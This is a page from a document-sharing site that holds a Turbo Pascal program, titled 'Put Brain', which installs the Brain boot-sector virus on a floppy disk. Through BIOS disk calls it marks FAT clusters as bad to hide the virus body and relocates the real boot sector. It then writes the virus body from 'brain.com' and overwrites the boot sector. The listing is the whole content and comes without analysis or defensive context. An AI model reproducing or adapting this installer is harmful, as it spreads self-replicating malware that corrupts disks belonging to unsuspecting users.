Put Brain

  • November 2019
  • PDF

This document was uploaded by user and they confirmed that they have the permission to share it. If you are author or own the copyright of this book, please report to us by using this DMCA report form. Report DMCA


Overview

Download & View Put Brain as PDF for free.

More details

  • Words: 294
  • Pages: 4
program put_brain_to_a; uses dos; var diskbuf cyl,hd,sec sc,sh,ss start_cluster brain

:array[0..32767] of byte; :byte; :byte; :word; :file;

procedure increment(var c,h,s:byte); begin s:=s+1; if s>9 then begin s:=1; h:=h+1; if h>1 then begin h:=0; c:=c+1; end; end; end; procedure read_sectors(c,h,s,n:byte); var o :word; r :registers; begin o:=0; repeat repeat r.ah:=2; r.al:=1; r.bx:=ofs(diskbuf[o]); r.es:=seg(diskbuf); r.dh:=h; r.dl:=0; r.ch:=c; r.cl:=s; intr($13,r); until r.flags and 1 = 0; n:=n-1; o:=o+512; increment(c,h,s); until n=0; end; procedure write_sectors(c,h,s,n:byte); var o :word; r :registers; begin o:=0; repeat repeat

r.ah:=3; r.al:=1; r.bx:=ofs(diskbuf[o]); r.es:=seg(diskbuf); r.dh:=h; r.dl:=0; r.ch:=c; r.cl:=s; intr($13,r); until r.flags and 1 = 0; n:=n-1; o:=o+512; increment(c,h,s); until n=0; end; procedure init_disk; var r :registers; begin r.ah:=0; r.dl:=0; intr($13,r); end; function cluster_entry(cl:word):word; var a :word; begin if odd(cl) then begin cl:=(cl*3) div 2; cl:=diskbuf[cl]+256*diskbuf[cl+1]; cl:=(cl and $fff0) shr 4; end else begin cl:=(cl*3) div 2; cl:=diskbuf[cl]+256*diskbuf[cl+1]; cl:=cl and $0fff; end; cluster_entry:=cl; end; procedure mark_cluster(cl,val:word); begin if odd(cl) then begin cl:=(cl*3) div 2; diskbuf[cl]:=(diskbuf[cl] and $0f)+$70; diskbuf[cl+1]:=$ff; diskbuf[cl+$400]:=diskbuf[cl]; diskbuf[cl+$401]:=diskbuf[cl+1]; end else begin cl:=(cl*3) div 2; diskbuf[cl]:=$f7;

end;

diskbuf[cl+1]:=(diskbuf[cl+1] and $f0)+$0f; diskbuf[cl+$400]:=diskbuf[cl]; diskbuf[cl+$401]:=diskbuf[cl+1]; end;

function find_fat_space:word; var clust_count :word; sc :word; begin sc:=$37; clust_count:=0; repeat if cluster_entry(sc)=0 then begin sc:=sc+1; clust_count:=clust_count+1; end else begin sc:=sc+1; clust_count:=0; end; until clust_count=3; sc:=sc-3; find_fat_space:=sc; end; procedure mark_fat_bad(clust:word); var j :word; begin for j:=0 to 2 do mark_cluster(start_cluster+j,$ff7); end; procedure setup_virus_location; {set up cyl,hd,sec from start_cluster} begin start_cluster:=((start_cluster-3)*2)+12; {get absolute sector number} cyl:=start_cluster div 18; {compute cylinder} sec:=(start_cluster-18*cyl)+1; hd:=0; if sec>9 then begin hd:=1; sec:=sec-9; end; writeln(cyl,' ',hd,' ',sec); end; begin init_disk; read_sectors(0,0,2,4); start_cluster:=find_fat_space; mark_fat_bad(start_cluster); write_sectors(0,0,2,4); setup_virus_location; sc:=cyl; sh:=hd; ss:=sec;

{read fat tables in} {write fat tables back out} {calculate cyl,hd,sec}

read_sectors(0,0,1,1); {read the real boot sector} write_sectors(cyl,hd,sec,1); {and put it here} increment(cyl,hd,sec); {go to next sector} assign(brain,'brain.com'); reset(brain,32000); blockread(brain,diskbuf,1); close(brain); move(diskbuf[$100],diskbuf[0],2048); write_sectors(cyl,hd,sec,3); move(diskbuf[$7b00],diskbuf[0],512); diskbuf[6]:=sh; diskbuf[7]:=ss; diskbuf[8]:=sc; write_sectors(0,0,1,1); end.

Related Documents

Put Brain
November 2019 26
Put
November 2019 40
Put Off Put On
November 2019 41
Brain
October 2019 56
Brain
April 2020 44
Brain
October 2019 56